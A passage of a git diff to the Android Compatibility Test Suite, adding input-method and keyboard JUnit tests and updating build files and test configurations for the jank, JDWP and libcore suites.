+        mSettingsActivity = "android.view.inputmethod.cts.InputMethodSettingsActivityStub";
+        mInputMethodInfo = new InputMethodInfo(mPackageName, mClassName, mLabel, mSettingsActivity);
+
+        mSubtypeNameResId = 0;
+        mSubtypeIconResId = 0;
+        mSubtypeLocale = "en_US";
+        mSubtypeMode = "keyboard";
+        mSubtypeExtraValue_key = "key1";
+        mSubtypeExtraValue_value = "value1";
+        mSubtypeExtraValue = "tag," + mSubtypeExtraValue_key + "=" + mSubtypeExtraValue_value;
+        mSubtypeIsAuxiliary = false;
+        mSubtypeOverridesImplicitlyEnabledSubtype = false;
+        mSubtypeId = 99;
+        mInputMethodSubtype = new InputMethodSubtype(mSubtypeNameResId, mSubtypeIconResId,
+                mSubtypeLocale, mSubtypeMode, mSubtypeExtraValue, mSubtypeIsAuxiliary,
+                mSubtypeOverridesImplicitlyEnabledSubtype, mSubtypeId);
+    }
+
+    @Test
+    public void testInputMethodInfoProperties() throws XmlPullParserException, IOException {
+        assertEquals(0, mInputMethodInfo.describeContents());
+        assertNotNull(mInputMethodInfo.toString());
+
+        assertInfo(mInputMethodInfo);
+        assertEquals(0, mInputMethodInfo.getIsDefaultResourceId());
+
+        Intent intent = new Intent(InputMethod.SERVICE_INTERFACE);
+        intent.setClass(mContext, InputMethodSettingsActivityStub.class);
+        PackageManager pm = mContext.getPackageManager();
+        List<ResolveInfo> ris = pm.queryIntentServices(intent, PackageManager.GET_META_DATA);
+        for (int i = 0; i < ris.size(); i++) {
+            ResolveInfo resolveInfo = ris.get(i);
+            mInputMethodInfo = new InputMethodInfo(mContext, resolveInfo);
+            assertService(resolveInfo.serviceInfo, mInputMethodInfo.getServiceInfo());
+            assertInfo(mInputMethodInfo);
+        }
+    }
+
+    @Test
+    public void testInputMethodSubtypeProperties() {
+        // TODO: Test InputMethodSubtype.getDisplayName()
+        assertEquals(mSubtypeNameResId, mInputMethodSubtype.getNameResId());
+        assertEquals(mSubtypeIconResId, mInputMethodSubtype.getIconResId());
+        assertEquals(mSubtypeLocale, mInputMethodSubtype.getLocale());
+        assertEquals(mSubtypeMode, mInputMethodSubtype.getMode());
+        assertEquals(mSubtypeExtraValue, mInputMethodSubtype.getExtraValue());
+        assertTrue(mInputMethodSubtype.containsExtraValueKey(mSubtypeExtraValue_key));
+        assertEquals(mSubtypeExtraValue_value,
+                mInputMethodSubtype.getExtraValueOf(mSubtypeExtraValue_key));
+        assertEquals(mSubtypeIsAuxiliary, mInputMethodSubtype.isAuxiliary());
+        assertEquals(mSubtypeOverridesImplicitlyEnabledSubtype,
+                mInputMethodSubtype.overridesImplicitlyEnabledSubtype());
+        assertEquals(mSubtypeId, mInputMethodSubtype.hashCode());
+    }
+
+    private void assertService(ServiceInfo expected, ServiceInfo actual) {
+        assertEquals(expected.getIconResource(), actual.getIconResource());
+        assertEquals(expected.labelRes, actual.labelRes);
+        assertEquals(expected.nonLocalizedLabel, actual.nonLocalizedLabel);
+        assertEquals(expected.icon, actual.icon);
+        assertEquals(expected.permission, actual.permission);
+    }
+
+    private void assertInfo(InputMethodInfo info) {
+        assertEquals(mPackageName, info.getPackageName());
+        assertEquals(mSettingsActivity, info.getSettingsActivity());
+        ComponentName component = info.getComponent();
+        assertEquals(mClassName, component.getClassName());
+        String expectedId = component.flattenToShortString();
+        assertEquals(expectedId, info.getId());
+        assertEquals(mClassName, info.getServiceName());
+    }
+
+    @Test
+    public void testDump() {
+        Printer printer = mock(Printer.class);
+        String prefix = "test";
+        mInputMethodInfo.dump(printer, prefix);
+        verify(printer, atLeastOnce()).println(anyString());
+    }
+
+    @Test
+    public void testLoadIcon() {
+        PackageManager pm = mContext.getPackageManager();
+        assertNotNull(mInputMethodInfo.loadIcon(pm));
+    }
+
+    @Test
+    public void testEquals() {
+        InputMethodInfo inputMethodInfo = new InputMethodInfo(mPackageName, mClassName, mLabel,
+                mSettingsActivity);
+        assertTrue(inputMethodInfo.equals(mInputMethodInfo));
+    }
+
+    @Test
+    public void testLoadLabel() {
+        CharSequence expected = "test";
+        PackageManager pm = mContext.getPackageManager();
+        assertEquals(expected.toString(), mInputMethodInfo.loadLabel(pm).toString());
+    }
+
+    @Test
+    public void testInputMethodInfoWriteToParcel() {
+        final Parcel p = Parcel.obtain();
+        mInputMethodInfo.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        final InputMethodInfo imi = InputMethodInfo.CREATOR.createFromParcel(p);
+        p.recycle();
+
+        assertEquals(mInputMethodInfo.getPackageName(), imi.getPackageName());
+        assertEquals(mInputMethodInfo.getServiceName(), imi.getServiceName());
+        assertEquals(mInputMethodInfo.getSettingsActivity(), imi.getSettingsActivity());
+        assertEquals(mInputMethodInfo.getId(), imi.getId());
+        assertEquals(mInputMethodInfo.getIsDefaultResourceId(), imi.getIsDefaultResourceId());
+        assertService(mInputMethodInfo.getServiceInfo(), imi.getServiceInfo());
+    }
+
+    @Test
+    public void testInputMethodSubtypeWriteToParcel() {
+        final Parcel p = Parcel.obtain();
+        mInputMethodSubtype.writeToParcel(p, 0);
+        p.setDataPosition(0);
+        final InputMethodSubtype subtype = InputMethodSubtype.CREATOR.createFromParcel(p);
+        p.recycle();
+
+        assertEquals(mInputMethodSubtype.containsExtraValueKey(mSubtypeExtraValue_key),
+                subtype.containsExtraValueKey(mSubtypeExtraValue_key));
+        assertEquals(mInputMethodSubtype.getExtraValue(), subtype.getExtraValue());
+        assertEquals(mInputMethodSubtype.getExtraValueOf(mSubtypeExtraValue_key),
+                subtype.getExtraValueOf(mSubtypeExtraValue_key));
+        assertEquals(mInputMethodSubtype.getIconResId(), subtype.getIconResId());
+        assertEquals(mInputMethodSubtype.getLocale(), subtype.getLocale());
+        assertEquals(mInputMethodSubtype.getMode(), subtype.getMode());
+        assertEquals(mInputMethodSubtype.getNameResId(), subtype.getNameResId());
+        assertEquals(mInputMethodSubtype.hashCode(), subtype.hashCode());
+        assertEquals(mInputMethodSubtype.isAuxiliary(), subtype.isAuxiliary());
+        assertEquals(mInputMethodSubtype.overridesImplicitlyEnabledSubtype(),
+                subtype.overridesImplicitlyEnabledSubtype());
+    }
+
+    @Test
+    public void testInputMethodSubtypesOfSystemImes() {
+        if (!mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_INPUT_METHODS)) {
+            return;
+        }
+
+        final InputMethodManager imm = mContext.getSystemService(InputMethodManager.class);
+        final List<InputMethodInfo> imis = imm.getInputMethodList();
+        final ArrayList<String> localeList = new ArrayList<>(Arrays.asList(
+                Resources.getSystem().getAssets().getLocales()));
+        boolean foundEnabledSystemImeSubtypeWithValidLanguage = false;
+        for (InputMethodInfo imi : imis) {
+            if ((imi.getServiceInfo().applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) == 0) {
+                continue;
+            }
+            final int subtypeCount = imi.getSubtypeCount();
+            // System IME must have one subtype at least.
+            assertTrue(subtypeCount > 0);
+            if (foundEnabledSystemImeSubtypeWithValidLanguage) {
+                continue;
+            }
+            final List<InputMethodSubtype> enabledSubtypes =
+                    imm.getEnabledInputMethodSubtypeList(imi, true);
+            SUBTYPE_LOOP:
+            for (InputMethodSubtype subtype : enabledSubtypes) {
+                final String subtypeLocale = subtype.getLocale();
+                if (subtypeLocale.length() < 2) {
+                    continue;
+                }
+                // TODO: Detect language more strictly.
+                final String subtypeLanguage = subtypeLocale.substring(0, 2);
+                for (final String locale : localeList) {
+                    if (locale.startsWith(subtypeLanguage)) {
+                        foundEnabledSystemImeSubtypeWithValidLanguage = true;
+                        break SUBTYPE_LOOP;
+                    }
+                }
+            }
+        }
+        assertTrue(foundEnabledSystemImeSubtypeWithValidLanguage);
+    }
+
+    @Test
+    public void testAtLeastOneEncryptionAwareInputMethodIsAvailable() {
+        if (!mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_INPUT_METHODS)) {
+            return;
+        }
+
+        if (!TextUtils.equals("native", getFbeMode())) {
+            // Skip the test unless the device is in native FBE mode.
+            return;
+        }
+
+        final InputMethodManager imm = mContext.getSystemService(InputMethodManager.class);
+        final List<InputMethodInfo> imis = imm.getInputMethodList();
+        boolean hasEncryptionAwareInputMethod = false;
+        for (final InputMethodInfo imi : imis) {
+            final ServiceInfo serviceInfo = imi.getServiceInfo();
+            if (serviceInfo == null) {
+                continue;
+            }
+            if ((serviceInfo.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) !=
+                    ApplicationInfo.FLAG_SYSTEM) {
+                continue;
+            }
+            if (serviceInfo.encryptionAware) {
+                hasEncryptionAwareInputMethod = true;
+                break;
+            }
+        }
+        assertTrue(hasEncryptionAwareInputMethod);
+    }
+
+    private String getFbeMode() {
+        try (ParcelFileDescriptor.AutoCloseInputStream in =
+                     new ParcelFileDescriptor.AutoCloseInputStream(InstrumentationRegistry
+                             .getInstrumentation()
+                             .getUiAutomation()
+                             .executeShellCommand("sm get-fbe-mode"))) {
+            try (BufferedReader br =
+                         new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8))) {
+                // Assume that the output of "sm get-fbe-mode" is always one-line.
+                final String line = br.readLine();
+                return line != null ? line.trim() : "";
+            }
+        } catch (IOException e) {
+            return "";
+        }
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
new file mode 100644
index 0000000..16eaad0
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.ResultReceiver;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
+import android.view.Window;
+import android.view.inputmethod.BaseInputConnection;
+import android.view.inputmethod.InputMethodInfo;
+import android.view.inputmethod.InputMethodManager;
+import android.view.inputmethod.cts.R;
+import android.widget.EditText;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class InputMethodManagerTest {
+    private Instrumentation mInstrumentation;
+    private InputMethodCtsActivity mActivity;
+
+    @Rule
+    public ActivityTestRule<InputMethodCtsActivity> mActivityRule =
+            new ActivityTestRule<>(InputMethodCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @After
+    public void teardown() {
+        mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_BACK);
+    }
+
+    @Test
+    public void testInputMethodManager() throws Throwable {
+        if (!mActivity.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_INPUT_METHODS)) {
+            return;
+        }
+
+        Window window = mActivity.getWindow();
+        final EditText view = (EditText) window.findViewById(R.id.entry);
+
+        PollingCheck.waitFor(1000, view::hasWindowFocus);
+
+        mActivityRule.runOnUiThread(view::requestFocus);
+        mInstrumentation.waitForIdleSync();
+        assertTrue(view.isFocused());
+
+        BaseInputConnection connection = new BaseInputConnection(view, false);
+        Context context = mInstrumentation.getTargetContext();
+        final InputMethodManager imManager = (InputMethodManager) context
+                .getSystemService(Context.INPUT_METHOD_SERVICE);
+
+        PollingCheck.waitFor(imManager::isActive);
+
+        assertTrue(imManager.isAcceptingText());
+        assertTrue(imManager.isActive(view));
+
+        assertFalse(imManager.isFullscreenMode());
+        connection.reportFullscreenMode(true);
+        // Only IMEs are allowed to report full-screen mode.  Calling this method from the
+        // application should have no effect.
+        assertFalse(imManager.isFullscreenMode());
+
+        mActivityRule.runOnUiThread(() -> {
+            IBinder token = view.getWindowToken();
+
+            // Show and hide input method.
+            assertTrue(imManager.showSoftInput(view, InputMethodManager.SHOW_IMPLICIT));
+            assertTrue(imManager.hideSoftInputFromWindow(token, 0));
+
+            Handler handler = new Handler();
+            ResultReceiver receiver = new ResultReceiver(handler);
+            assertTrue(imManager.showSoftInput(view, 0, receiver));
+            receiver = new ResultReceiver(handler);
+            assertTrue(imManager.hideSoftInputFromWindow(token, 0, receiver));
+
+            imManager.showSoftInputFromInputMethod(token, InputMethodManager.SHOW_FORCED);
+            imManager.hideSoftInputFromInputMethod(token, InputMethodManager.HIDE_NOT_ALWAYS);
+
+            // status: hide to show to hide
+            imManager.toggleSoftInputFromWindow(token, 0, InputMethodManager.HIDE_NOT_ALWAYS);
+            imManager.toggleSoftInputFromWindow(token, 0, InputMethodManager.HIDE_NOT_ALWAYS);
+
+            List<InputMethodInfo> enabledImList = imManager.getEnabledInputMethodList();
+            if (enabledImList != null && enabledImList.size() > 0) {
+                imManager.setInputMethod(token, enabledImList.get(0).getId());
+                // cannot test whether setting was successful
+            }
+
+            List<InputMethodInfo> imList = imManager.getInputMethodList();
+            if (imList != null && enabledImList != null) {
+                assertTrue(imList.size() >= enabledImList.size());
+            }
+        });
+        mInstrumentation.waitForIdleSync();
+    }
+}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/InputMethodSettingsActivityStub.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodSettingsActivityStub.java
similarity index 100%
rename from tests/tests/view/src/android/view/inputmethod/cts/InputMethodSettingsActivityStub.java
rename to tests/inputmethod/src/android/view/inputmethod/cts/InputMethodSettingsActivityStub.java
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardTest.java
new file mode 100644
index 0000000..3f61093
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/KeyboardTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.inputmethodservice.Keyboard;
+import android.inputmethodservice.Keyboard.Key;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.inputmethod.cts.R;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class KeyboardTest {
+    @Test
+    public void testKeyOnPressedAndReleased() {
+        Key nonStickyKey = null;
+        Key stickyKey = null;
+        // Indirectly instantiate Keyboard.Key with XML resources.
+        final Keyboard keyboard =
+                new Keyboard(InstrumentationRegistry.getTargetContext(), R.xml.keyboard);
+        for (final Key key : keyboard.getKeys()) {
+            if (!key.sticky) {
+                nonStickyKey = key;
+                break;
+            }
+        }
+        for (final Key key : keyboard.getModifierKeys()) {
+            if (key.sticky) {
+                stickyKey = key;
+                break;
+            }
+        }
+
+        // Asserting existences of following keys is not the goal of this test, but this should work
+        // anyway.
+        assertNotNull(nonStickyKey);
+        assertNotNull(stickyKey);
+
+        // At first, both "pressed" and "on" must be false.
+        assertFalse(nonStickyKey.pressed);
+        assertFalse(stickyKey.pressed);
+        assertFalse(nonStickyKey.on);
+        assertFalse(stickyKey.on);
+
+        // Pressing the key must flip the "pressed" state only.
+        nonStickyKey.onPressed();
+        stickyKey.onPressed();
+        assertTrue(nonStickyKey.pressed);
+        assertTrue(stickyKey.pressed);
+        assertFalse(nonStickyKey.on);
+        assertFalse(stickyKey.on);
+
+        // Releasing the key inside the key area must flip the "pressed" state and toggle the "on"
+        // state if the key is marked as sticky.
+        nonStickyKey.onReleased(true /* inside */);
+        stickyKey.onReleased(true /* inside */);
+        assertFalse(nonStickyKey.pressed);
+        assertFalse(stickyKey.pressed);
+        assertFalse(nonStickyKey.on);
+        assertTrue(stickyKey.on);   // The key state is toggled.
+
+        // Pressing the key again must flip the "pressed" state only.
+        nonStickyKey.onPressed();
+        stickyKey.onPressed();
+        assertTrue(nonStickyKey.pressed);
+        assertTrue(stickyKey.pressed);
+        assertFalse(nonStickyKey.on);
+        assertTrue(stickyKey.on);
+
+        // Releasing the key inside the key area must flip the "pressed" state and toggle the "on"
+        // state if the key is marked as sticky hence we will be back to the initial state.
+        nonStickyKey.onReleased(true /* inside */);
+        stickyKey.onReleased(true /* inside */);
+        assertFalse(nonStickyKey.pressed);
+        assertFalse(stickyKey.pressed);
+        assertFalse(nonStickyKey.on);
+        assertFalse(stickyKey.on);
+
+        // Pressing then releasing the key outside the key area must not affect the "on" state.
+        nonStickyKey.onPressed();
+        stickyKey.onPressed();
+        nonStickyKey.onReleased(false /* inside */);
+        stickyKey.onReleased(false /* inside */);
+        assertFalse(nonStickyKey.pressed);
+        assertFalse(stickyKey.pressed);
+        assertFalse(nonStickyKey.on);
+        assertFalse(stickyKey.on);
+    }
+}
diff --git a/tests/tests/view/src/android/view/inputmethod/cts/util/InputConnectionTestUtils.java b/tests/inputmethod/src/android/view/inputmethod/cts/util/InputConnectionTestUtils.java
similarity index 100%
rename from tests/tests/view/src/android/view/inputmethod/cts/util/InputConnectionTestUtils.java
rename to tests/inputmethod/src/android/view/inputmethod/cts/util/InputConnectionTestUtils.java
diff --git a/tests/jank/Android.mk b/tests/jank/Android.mk
index d206474..0d4f533 100644
--- a/tests/jank/Android.mk
+++ b/tests/jank/Android.mk
@@ -28,7 +28,6 @@
 LOCAL_COMPATIBILITY_SUITE := cts
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil \
     compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
diff --git a/tests/jank/AndroidTest.xml b/tests/jank/AndroidTest.xml
index c7e476a..d22c0a2 100644
--- a/tests/jank/AndroidTest.xml
+++ b/tests/jank/AndroidTest.xml
@@ -14,12 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Jank test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="graphics" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUiDeviceTestCases.apk" />
         <option name="test-file-name" value="CtsJankDeviceTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.jank.cts" />
+        <option name="runtime-hint" value="11m20s" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml
index 482abbe..192ba78 100644
--- a/tests/jdwp/AndroidTest.xml
+++ b/tests/jdwp/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JDWP test cases">
+    <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctsjdwp/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctsjdwp/user.home" />
@@ -36,7 +37,7 @@
         <option name="dalvik-arg" value="-Djpda.settings.waitingTime=10000" />
         <option name="dalvik-arg" value="-Djpda.settings.debuggeeJavaPath='dalvikvm|#ABI#| -XXlib:libart.so -Xcompiler-option --debuggable -Xusejit:true'" />
         <option name="known-failures" value="/expectations/jdwp-known-failures.txt" />
-        <option name="runtime-hint" value="5m" />
+        <option name="runtime-hint" value="16m" />
 
     </test>
 </configuration>
diff --git a/tests/jdwp/runner/host-side/Android.mk b/tests/jdwp/runner/host-side/Android.mk
index 426663d..7398f69 100644
--- a/tests/jdwp/runner/host-side/Android.mk
+++ b/tests/jdwp/runner/host-side/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE := cts-dalvik-host-test-runner
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 LOCAL_STATIC_JAVA_LIBRARIES := vogarexpectlib
 
diff --git a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
index 3cbdee2..6abc6d7 100644
--- a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
+++ b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
@@ -17,7 +17,6 @@
 package com.android.compatibility.testtype;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.util.AbiUtils;
 import com.android.ddmlib.IShellOutputReceiver;
 import com.android.ddmlib.Log;
 import com.android.ddmlib.Log.LogLevel;
@@ -39,6 +38,7 @@
 import com.android.tradefed.testtype.ITestCollector;
 import com.android.tradefed.testtype.ITestFileFilterReceiver;
 import com.android.tradefed.testtype.ITestFilterReceiver;
+import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.ArrayUtil;
 import com.android.tradefed.util.FileUtil;
 import com.android.tradefed.util.TimeVal;
@@ -182,6 +182,14 @@
      * {@inheritDoc}
      */
     @Override
+    public IAbi getAbi() {
+        return mAbi;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
     public void setBuild(IBuildInfo build) {
         mBuildHelper = new CompatibilityBuildHelper(build);
     }
@@ -464,6 +472,7 @@
         // A DalvikTest to run any tests not contained in packages from TEST_PACKAGES, may be empty
         DalvikTest catchAll = new DalvikTest();
         OptionCopier.copyOptionsNoThrow(this, catchAll);
+        catchAll.mAbi = mAbi;
         shards.add(catchAll);
         // estimate catchAll's runtime to be that of a single package in TEST_PACKAGES
         long runtimeHint = mRuntimeHint / TEST_PACKAGES.size();
@@ -474,7 +483,8 @@
             DalvikTest test = new DalvikTest();
             OptionCopier.copyOptionsNoThrow(this, test);
             test.addIncludeFilter(packageName);
-            test.mRuntimeHint = runtimeHint;
+            test.mRuntimeHint = runtimeHint / TEST_PACKAGES.size();
+            test.mAbi = mAbi;
             shards.add(test);
         }
         // return a shard for each package in TEST_PACKAGE, plus a shard for any other tests
diff --git a/tests/leanbackjank/Android.mk b/tests/leanbackjank/Android.mk
index 45444b3..25fd9a0 100644
--- a/tests/leanbackjank/Android.mk
+++ b/tests/leanbackjank/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_COMPATIBILITY_SUITE := cts
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ub-janktesthelper \
diff --git a/tests/leanbackjank/AndroidTest.xml b/tests/leanbackjank/AndroidTest.xml
index a07c2eb..d87cefa 100644
--- a/tests/leanbackjank/AndroidTest.xml
+++ b/tests/leanbackjank/AndroidTest.xml
@@ -14,12 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS LeanbackJank test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="tv" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLeanbackJankTestCases.apk" />
         <option name="test-file-name" value="CtsLeanbackJankApp.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.leanbackjank.cts" />
+        <option name="runtime-hint" value="10m50s" />
     </test>
 </configuration>
diff --git a/tests/leanbackjank/app/Android.mk b/tests/leanbackjank/app/Android.mk
index e2cbf89..0328fdf 100644
--- a/tests/leanbackjank/app/Android.mk
+++ b/tests/leanbackjank/app/Android.mk
@@ -33,7 +33,7 @@
     $(LOCAL_PATH)/res
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ub-janktesthelper \
diff --git a/tests/leanbackjank/app/src/android/leanbackjank/app/Utils.java b/tests/leanbackjank/app/src/android/leanbackjank/app/Utils.java
index b464abf..1926c0d 100644
--- a/tests/leanbackjank/app/src/android/leanbackjank/app/Utils.java
+++ b/tests/leanbackjank/app/src/android/leanbackjank/app/Utils.java
@@ -16,6 +16,8 @@
 
 package android.leanbackjank.app;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+
 import android.app.Activity;
 import android.content.Context;
 import android.graphics.Point;
@@ -102,7 +104,7 @@
 
     public static long getDuration(String videoUrl) {
         MediaMetadataRetriever mmr = new MediaMetadataRetriever();
-        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.ICE_CREAM_SANDWICH) {
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.ICE_CREAM_SANDWICH)) {
             mmr.setDataSource(videoUrl, new HashMap<String, String>());
         } else {
             mmr.setDataSource(videoUrl);
diff --git a/tests/leanbackjank/src/android/leanbackjank/cts/CtsJankTestBase.java b/tests/leanbackjank/src/android/leanbackjank/cts/CtsJankTestBase.java
index 3cff9f8..4749fe3 100644
--- a/tests/leanbackjank/src/android/leanbackjank/cts/CtsJankTestBase.java
+++ b/tests/leanbackjank/src/android/leanbackjank/cts/CtsJankTestBase.java
@@ -38,7 +38,7 @@
         if (!metrics.containsKey(key)) {
             return;
         }
-        mLog.addValue(source, key, metrics.getInt(key), resultType, resultUnit);
+        mLog.addValue(source, formatKeyForTestMetrics(key), metrics.getInt(key), resultType, resultUnit);
     }
 
     private void printDoubleValueWithKey(String source, Bundle metrics, String key,
@@ -64,7 +64,7 @@
                 ResultType.LOWER_BETTER, ResultUnit.MS);
         printIntValueWithKey(source, metrics, WindowContentFrameStatsMonitor.KEY_MAX_NUM_JANKY,
                 ResultType.LOWER_BETTER, ResultUnit.COUNT);
-        mLog.setSummary(WindowContentFrameStatsMonitor.KEY_AVG_NUM_JANKY,
+        mLog.setSummary(formatKeyForTestMetrics(WindowContentFrameStatsMonitor.KEY_AVG_NUM_JANKY),
                 metrics.getDouble(WindowContentFrameStatsMonitor.KEY_AVG_NUM_JANKY),
                 ResultType.LOWER_BETTER, ResultUnit.COUNT);
 
diff --git a/tests/libcore/javautilcollections/AndroidTest.xml b/tests/libcore/javautilcollections/AndroidTest.xml
index 7261c80..4303af5 100644
--- a/tests/libcore/javautilcollections/AndroidTest.xml
+++ b/tests/libcore/javautilcollections/AndroidTest.xml
@@ -13,7 +13,9 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Libcore java.util Collection test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLibcoreJavaUtilCollectionsTestCases.apk" />
     </target_preparer>
@@ -66,4 +68,4 @@
         <option name="test-timeout" value="1200000" />
         <option name="shell-timeout" value="1400000" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index 078199e..2a3e5d2 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -14,12 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Libcore JSR166 test cases">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/ctslibcore" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <!-- this has just the instrumentation which acts as the tests we want to run -->
         <option name="test-file-name" value="CtsLibcoreJsr166TestCases.apk" />
diff --git a/tests/libcore/luni/Android.mk b/tests/libcore/luni/Android.mk
index 6dd1a42..cdba3f9 100644
--- a/tests/libcore/luni/Android.mk
+++ b/tests/libcore/luni/Android.mk
@@ -23,7 +23,7 @@
     conscrypt-tests \
     core-tests \
     cts-core-test-runner \
-    mockito-target \
+    mockito-target-minus-junit4 \
     time_zone_distro-tests \
     time_zone_distro_installer-tests
 
